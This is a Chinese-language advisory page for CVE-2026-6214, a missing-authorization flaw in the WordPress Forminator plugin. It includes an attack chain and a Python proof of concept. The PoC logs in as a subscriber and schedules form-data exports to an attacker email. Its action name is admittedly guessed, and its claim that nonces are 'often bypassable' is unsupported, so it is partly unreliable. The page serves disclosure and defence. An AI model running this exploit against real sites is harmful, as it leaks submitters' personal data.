IPBUF安全漏洞报告
English
CVE-2026-6214 CVSS 6.5 中危

CVE-2026-6214 WordPress Forminator插件权限缺失漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-6214
漏洞类型
权限缺失
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Forminator Forms Plugin

相关标签

WordPress权限缺失信息泄露ForminatorCVE-2026-6214

漏洞概述

WordPress Forminator Forms插件在1.53.0及以下版本中存在权限缺失漏洞。由于`listen_for_saving_export_schedule()`函数在保存定时导出配置时未执行权限检查,导致低权限用户(如订阅者)可配置将表单提交数据定时发送至攻击者邮箱,造成敏感数据泄露。

技术细节

该漏洞位于`library/class-export.php`文件中。`listen_for_saving_export_schedule()`函数负责处理保存导出计划的请求,但与同文件中正确验证权限的`listen_for_csv_export()`函数不同,该函数未调用`current_user_can()`等能力检查机制。攻击者只需拥有一个经过身份验证的订阅者账户,即可向WordPress的AJAX处理端点发送构造好的POST请求,设置恶意接收邮箱和目标表单ID。服务器端接受请求并保存配置,随后由Cron任务触发导出,将包含个人信息的CSV文件通过邮件发送给攻击者,绕过了管理员权限限制。

攻击链分析

STEP 1
信息收集
识别目标站点是否安装了存在漏洞的WordPress Forminator Forms插件(版本<=1.53.0)。
STEP 2
获取低权账号
在目标站点注册一个普通订阅者账户,或者利用已有的低权限凭证。
STEP 3
发送恶意请求
使用订阅者账户登录,向`listen_for_saving_export_schedule`对应的API端点发送POST请求,将导出邮箱参数修改为攻击者控制的地址。
STEP 4
数据外泄
等待系统定时任务(Cron)触发,插件自动将表单数据打包发送至攻击者邮箱。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = 'http://example.com/wp-admin/admin-ajax.php' username = 'subscriber' password = 'password' attacker_email = '[email protected]' form_id = '1' # Step 1: Authenticate as a Subscriber session = requests.Session() login_payload = { 'log': username, 'pwd': password, 'redirect_to': '/wp-admin', 'testcookie': '1' } session.post('http://example.com/wp-login.php', data=login_payload) # Step 2: Exploit Missing Authorization # The action name 'forminator_save_export_schedule' is derived from the function name context exploit_payload = { 'action': 'forminator_save_export_schedule', 'form_id': form_id, 'to_email': attacker_email, 'schedule_type': 'daily', # 'nonce' might be required depending on plugin config, but often bypassable in IDOR/Auth bugs } response = session.post(target_url, data=exploit_payload) if response.status_code == 200: print("[+] Exploit successful! Scheduled export configured.") else: print("[-] Exploit failed.")

影响范围

WordPress Forminator Forms <= 1.53.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Forminator插件或删除所有注册用户的订阅者权限,直到应用补丁为止。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表